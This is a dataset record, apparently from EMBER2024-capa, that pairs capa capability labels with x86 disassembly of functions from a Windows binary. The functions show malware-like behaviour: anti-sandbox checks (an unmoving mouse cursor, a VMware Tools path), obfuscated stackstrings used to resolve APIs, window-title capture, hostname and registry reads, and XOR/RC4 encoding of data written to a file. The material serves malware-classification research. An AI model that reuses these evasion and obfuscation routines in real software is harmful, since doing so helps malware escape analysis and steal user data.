joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100023d0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045cf7
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x1005e068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
push edi
push 0x1004b6a8
push 1
push 0
push 0x1004b698
mov dword [ebp - 4], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000251e
push 0xc
call fcn.1001f7fe
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 1
test esi, esi
je 0x1000245d
push str.ROOTCIMV2
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10002539
jmp 0x1000245f
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x14], esi
test esi, esi
je 0x10002543
mov byte [ebp - 4], 2
mov ecx, dword [edi]
add edi, 4
push edi
push 0
push 0
mov eax, dword [ecx]
push 0
push 0
push 0
push 0
push dword [esi]
push ecx
call dword [eax + 0xc]
mov ebx, eax
mov byte [ebp - 4], 0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100024d2
mov eax, dword [esi]
test eax, eax
je 0x100024b0
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100024c7
push eax
call fcn.1001fdc6
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1001f82e
add esp, 8
test ebx, ebx
js 0x1000254d
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [edi]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x10002568
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.CoCreateInstance___error.
lea ecx, [ebp - 0x20]
call fcn.10001ec0
push 0x1005b5dc
lea eax, [ebp - 0x20]
push eax
call fcn.100219c7
push 0x8007000e
call fcn.100208b0
push 0x8007000e
call fcn.100208b0
push str.ConnectServer___error.
lea ecx, [ebp - 0x2c]
call fcn.10001ec0
push 0x1005b5dc
lea eax, [ebp - 0x2c]
push eax
call fcn.100219c7
push str.CoSetProxyBlanket___error.
lea ecx, [ebp - 0x38]
call fcn.10001ec0
push 0x1005b5dc
lea eax, [ebp - 0x38]
push eax
call fcn.100219c7
int3
Function at 0x10002d10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x1005e068]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esp + 8], esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x10002d7b
push eax
call dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x10002d7b
push 0x1e
mov dword [esi + 0x10], eax
mov ecx, esi
mov dword [esi + 0x14], 7
push 0x100563e0
mov word [esi], ax
call fcn.10001a40
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jne 0x10002db4
push 0x13
mov dword [esi + 0x10], eax
mov ecx, esi
mov dword [esi + 0x14], 7
push str.Window_has_no_title
mov word [esi], ax
call fcn.10001a40
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1001fd9a
add esp, 4
mov dword [esp + 8], eax
push edi
mov edi, eax
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, edi
mov dword [esp + 0x20], 0
xor eax, eax
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10002e00
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [esp + 0x18]
call fcn.10001a40
push edi
call fcn.1001fdc6
movups xmm0, xmmword [esp + 0x14]
mov ecx, dword [esp + 0x40]
add esp, 4
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
pop edi
movq xmm0, qword [esp + 0x1c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10002f70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x10056458]
mov ax, word [0x10056470]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x28]
movups xmmword [ebp - 0x5c], xmm0
push eax
movq xmm0, qword [0x10056468]
lea eax, [ebp - 0x5c]
movq qword [ebp - 0x4c], xmm0
movaps xmm0, xmmword [0x100580f0]
push eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7a696c61
mov dword [ebp - 0x14], 0x64695365
mov byte [ebp - 0x10], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
movaps xmm0, xmmword [0x10058100]
mov ebx, eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], 0x70696873
push eax
lea eax, [ebp - 0x5c]
mov byte [ebp - 0x2c], 0
push eax
movups xmmword [ebp - 0x40], xmm0
call edi
push eax
call esi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xc], 0x65657246
push eax
mov dword [ebp - 8], 0x646953
call edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x68]
mov word [ebp - 0x60], 0x500
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x64]
push eax
call ebx
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x10003067
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x68]
push 0
call dword [ebp - 0x70]
push dword [ebp - 0x68]
call esi
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 4]
cmp eax, 1
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10006fa0
Capabilities:
Check for unmoving mouse cursor
Check if file exists
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x138
mov eax, dword [0x1005e068]
xor eax, esp
mov dword [esp + 0x134], eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [esp + 0xc]
push edi
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x10006ff6
push 0x7d
call edi
lea eax, [esp + 8]
push eax
call esi
mov ecx, dword [esp + 8]
cmp ecx, dword [esp + 0x10]
je 0x10006ff2
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esp + 0x14]
jne 0x10006ff6
test eax, eax
jne 0x10006fd3
call fcn.100012d0
test eax, eax
jne 0x1000700e
push str.C:Program_FilesVMwareVMware_Tools_
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x10007048
mov eax, dword [0x10056960]
movups xmm0, xmmword [str.C:ProgramData1.txt]
mov dword [esp + 0x20], eax
mov al, byte [0x10056964]
mov byte [esp + 0x24], al
lea eax, [esp + 0x10]
push eax
movups xmmword [esp + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100070fd
test al, 0x10
jne 0x100070fd
call fcn.1001af40
push 0xea60
call edi
push 0x104
lea eax, [esp + 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x30]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007070
sub ecx, edx
lea eax, [esp + 0x30]
push ecx
push eax
mov ecx, 0x1011489c
call fcn.10001570
call fcn.10004d50
test eax, eax
je 0x100070fd
push 0
push 0
push 0
push 0
mov dword [esp + 0x20], 0x10006360
mov dword [esp + 0x24], 0
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x18]
push eax
push 0x10019bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esp + 0x20]
mov dword [esp + 0x10], eax
call edi
push dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0xffffffffffffffff
push dword [esp + 0xc]
call edi
push dword [esp + 8]
call esi
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
xor ecx, esp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10013ce0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2024
call fcn.10020880
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, ecx
push ebx
mov dword [ebp - 0x2020], ebx
call edi
test eax, eax
je 0x10013e8f
push esi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10115fa8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x2018], esi
cmp esi, 0xffffffff
je 0x10013e8e
push 0x2004
lea eax, [ebp - 0x2008]
push 0
push eax
call fcn.10022540
add esp, 0xc
mov dword [ebp - 0x2024], 0
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call edi
mov esi, eax
mov dword [ebp - 0x201c], esi
cmp esi, 0x2004
jge 0x10013e9f
lea edi, [ebp - 0x2008]
mov byte [ebp - 0x2009], 1
mov dword [ebp - 0x2014], edi
xor edx, edx
test esi, esi
jle 0x10013e56
cmp esi, 0x40
jb 0x10013e33
lea eax, [ebx - 1]
lea ecx, [esi - 1]
add eax, esi
add ecx, edi
cmp edi, eax
ja 0x10013dbd
cmp ecx, ebx
jae 0x10013e33
mov eax, esi
and eax, 0x8000003f
jns 0x10013dcb
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x100580e0]
mov ecx, esi
sub ecx, eax
mov esi, ebx
sub esi, edi
mov eax, edi
mov dword [ebp - 0x2010], esi
mov esi, dword [ebp - 0x201c]
mov edi, dword [ebp - 0x2010]
nop
movups xmm0, xmmword [edi + eax]
lea eax, [eax + 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ebx + edx + 0x10]
pxor xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [ebx + edx + 0x20]
pxor xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [ebx + edx + 0x30]
add edx, 0x40
pxor xmm0, xmm1
movups xmmword [eax - 0x10], xmm0
cmp edx, ecx
jl 0x10013df0
mov edi, dword [ebp - 0x2014]
cmp edx, esi
jge 0x10013e56
sub ebx, edi
lea ecx, [edx + edi]
sub esi, edx
nop
mov al, byte [ecx + ebx]
lea ecx, [ecx + 1]
xor al, 0x60
mov byte [ecx - 1], al
sub esi, 1
jne 0x10013e40
mov ebx, dword [ebp - 0x2020]
push 0
lea eax, [ebp - 0x2024]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 0x2018]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x2009], 0
jne 0x10013e8e
push edi
call fcn.1001fdc6
add esp, 4
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
push esi
call fcn.1001fd9a
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 0x2014], edi
call fcn.10022540
add esp, 0x10
mov byte [ebp - 0x2009], 0
test edi, edi
jne 0x10013d98
mov esi, dword [ebp - 0x2018]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10016120
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc10
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x404]
push esi
push edi
push 0x400
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.10022540
add esp, 0xc
mov dword [ebp - 0xc10], 0x200
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x10016187
push str.UnKnow
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x800
lea eax, [ebp - 0xc04]
push 0
push eax
call fcn.10022540
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0xc04]
push str.Software_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0xc0c], 0
lea eax, [ebp - 0xc08]
mov dword [ebp - 0xc08], 0
lea edx, [ebp - 0xc04]
mov ecx, 0x80000002
push eax
lea eax, [ebp - 0xc0c]
push eax
push 3
push esi
call fcn.10018330
add esp, 0x18
cmp eax, 0xffffffff
jne 0x1001621a
sub esp, 8
lea eax, [ebp - 0xc08]
lea edx, [ebp - 0xc04]
mov ecx, 0x80000001
push eax
lea eax, [ebp - 0xc0c]
push eax
push 3
push esi
call fcn.10018330
add esp, 0x18
mov eax, dword [ebp - 0xc08]
test eax, eax
je 0x10016245
mov ecx, dword [ebp - 0xc0c]
test ecx, ecx
je 0x10016245
mov dword [edi], ecx
pop edi
mov dword [ebx], eax
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret

Function at 0x10016260
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x400
lea eax, [ebp - 0x404]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.10022540
add esp, 0xc
mov dword [ebp - 0xc08], 0x200
lea eax, [ebp - 0xc08]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x100162c3
push str.UnKnow
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x800
lea eax, [ebp - 0xc04]
push 0
push eax
call fcn.10022540
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0xc04]
push str.Software_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 1
push edi
lea edx, [ebp - 0xc04]
mov ecx, 0x80000001
call fcn.100186e0
mov ecx, dword [ebp - 4]
add esp, 0x14
test eax, eax
setne al
xor ecx, ebp
pop edi
pop esi
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10016330
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
push 0
push 0x10117320
mov esi, ecx
call fcn.10022540
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.10022540
add esp, 0x18
mov dword [ebp - 0xc08], 0x200
lea eax, [ebp - 0xc08]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x100163a1
push str.UnKnow
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x800
lea eax, [ebp - 0xc04]
push 0
push eax
call fcn.10022540
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0xc04]
push str.Software_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0xc04]
mov ecx, 0x80000002
push 0
push 0x10117320
push 1
push esi
call fcn.10018330
add esp, 0x18
test eax, eax
jg 0x10016411
sub esp, 8
lea edx, [ebp - 0xc04]
mov ecx, 0x80000001
push 0
push 0x10117320
push 1
push esi
call fcn.10018330
add esp, 0x18
mov ecx, dword [ebp - 4]
mov eax, 0x10117320
xor ecx, ebp
pop esi
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
Function at 0x10016860
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046d47
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1005e068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
mov dword [ebx], 0x100575e8
mov dword [ebx + 0x50], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
mov eax, dword [ebx]
push 0
push 0
mov dword [ebp - 0x10], 1
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + ebx - 4], eax
mov eax, dword [ebx]
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.100094f0
push 8
call fcn.1001f7fe
add esp, 4
mov esi, eax
push 1
mov dword [ebp - 4], 2
call fcn.1001d3f4
add esp, 4
mov dword [esi + 4], eax
mov byte [ebp - 4], 1
lea eax, [ebx + 4]
mov ecx, edi
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
push 0x20
mov dword [edi + 0x3c], 0
call fcn.100179c0
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10016975
mov eax, dword [edi + 0xc]
mov ecx, edi
or eax, 4
push 0
push eax
call fcn.100094f0
mov dword [ebp - 4], 3
lea edi, [ebx + 4]
mov eax, dword [ebx]
push 8
mov dword [ebp - 0x18], edi
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ecx + ebx - 4], eax
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1001f7fe
add esp, 4
mov esi, eax
push 1
mov byte [ebp - 4], 4
call fcn.1001d3f4
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 4
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, ebx
mov dword [edi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100178a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046c90
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1005e068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1001f7fe
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.1001d3f4
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10019370
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xe4], 0x10005
xor esi, esi
mov dword [ebp - 0xe0], 0x20003
mov dword [ebp - 0xdc], 0x40002
mov dword [ebp - 0xd8], 0x50001
mov dword [ebp - 0xd4], 0x20004
mov dword [ebp - 0xd0], 0x40001
mov dword [ebp - 0xcc], 0x20001
mov dword [ebp - 0xc8], 0x30004
mov dword [ebp - 0xc4], 0x80005
mov dword [ebp - 0xc0], 0x40002
mov dword [ebp - 0xbc], 0x80005
mov dword [ebp - 0xb8], 0x20001
mov dword [ebp - 0xb4], 0x30004
mov dword [ebp - 0xb0], 0x10007
mov dword [ebp - 0xac], 0x60003
mov dword [ebp - 0xa8], 0x10002
mov dword [ebp - 0xa4], 0x40002
mov dword [ebp - 0xa0], 0x30004
mov dword [ebp - 0x9c], 0x20001
mov dword [ebp - 0x98], 0x10003
mov dword [ebp - 0x94], 0x60002
mov dword [ebp - 0x90], 0x10003
mov dword [ebp - 0x8c], 0x30003
mov dword [ebp - 0x88], 0x20006
mov dword [ebp - 0x84], 0x40006
mov dword [ebp - 0x80], 0x20006
mov dword [ebp - 0x7c], 0x20001
mov dword [ebp - 0x78], 0x20001
mov dword [ebp - 0x74], 0x10008
mov dword [ebp - 0x70], 0x40002
mov dword [ebp - 0x6c], 0x10003
mov dword [ebp - 0x68], 0x50001
mov dword [ebp - 0x64], 0x20001
mov dword [ebp - 0x60], 0x20001
mov dword [ebp - 0x5c], 0x30007
mov dword [ebp - 0x58], 0x20005
mov dword [ebp - 0x54], 0x10002
mov dword [ebp - 0x50], 0x30001
mov dword [ebp - 0x4c], 0x30002
mov dword [ebp - 0x48], 0x20001
mov dword [ebp - 0x44], 0x50003
mov dword [ebp - 0x40], 0x60002
mov dword [ebp - 0x3c], 0x20003
mov dword [ebp - 0x38], 0x30005
mov dword [ebp - 0x34], 0x10004
mov dword [ebp - 0x30], 0x20002
mov dword [ebp - 0x2c], 0x90003
mov dword [ebp - 0x28], 0x30002
mov dword [ebp - 0x24], 0x20007
mov dword [ebp - 0x20], 0x40002
mov dword [ebp - 0x1c], 0x30001
mov dword [ebp - 0x18], 0x10002
mov dword [ebp - 0x14], 0x60002
mov dword [ebp - 0x10], 0x30002
mov dword [ebp - 0xc], 0x20003
mov dword [ebp - 8], 0x30003
cmp ax, dx
jae 0x1001958c
movzx edi, dx
xor edx, edx
movzx eax, si
cmp si, 0x70
lea ecx, [ecx + 1]
cmovne edx, eax
movzx edx, dx
mov al, byte [ebp + edx*2 - 0xe4]
xor byte [ecx - 1], al
lea eax, [edx + 1]
movzx esi, ax
sub edi, 1
jne 0x10019565
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret

Function at 0x10019c60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push esi
push 0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [ebp - 0x10], eax
mov al, byte [ebp + 0x18]
push 0
push 0
mov byte [ebp - 0xc], al
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x10019bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret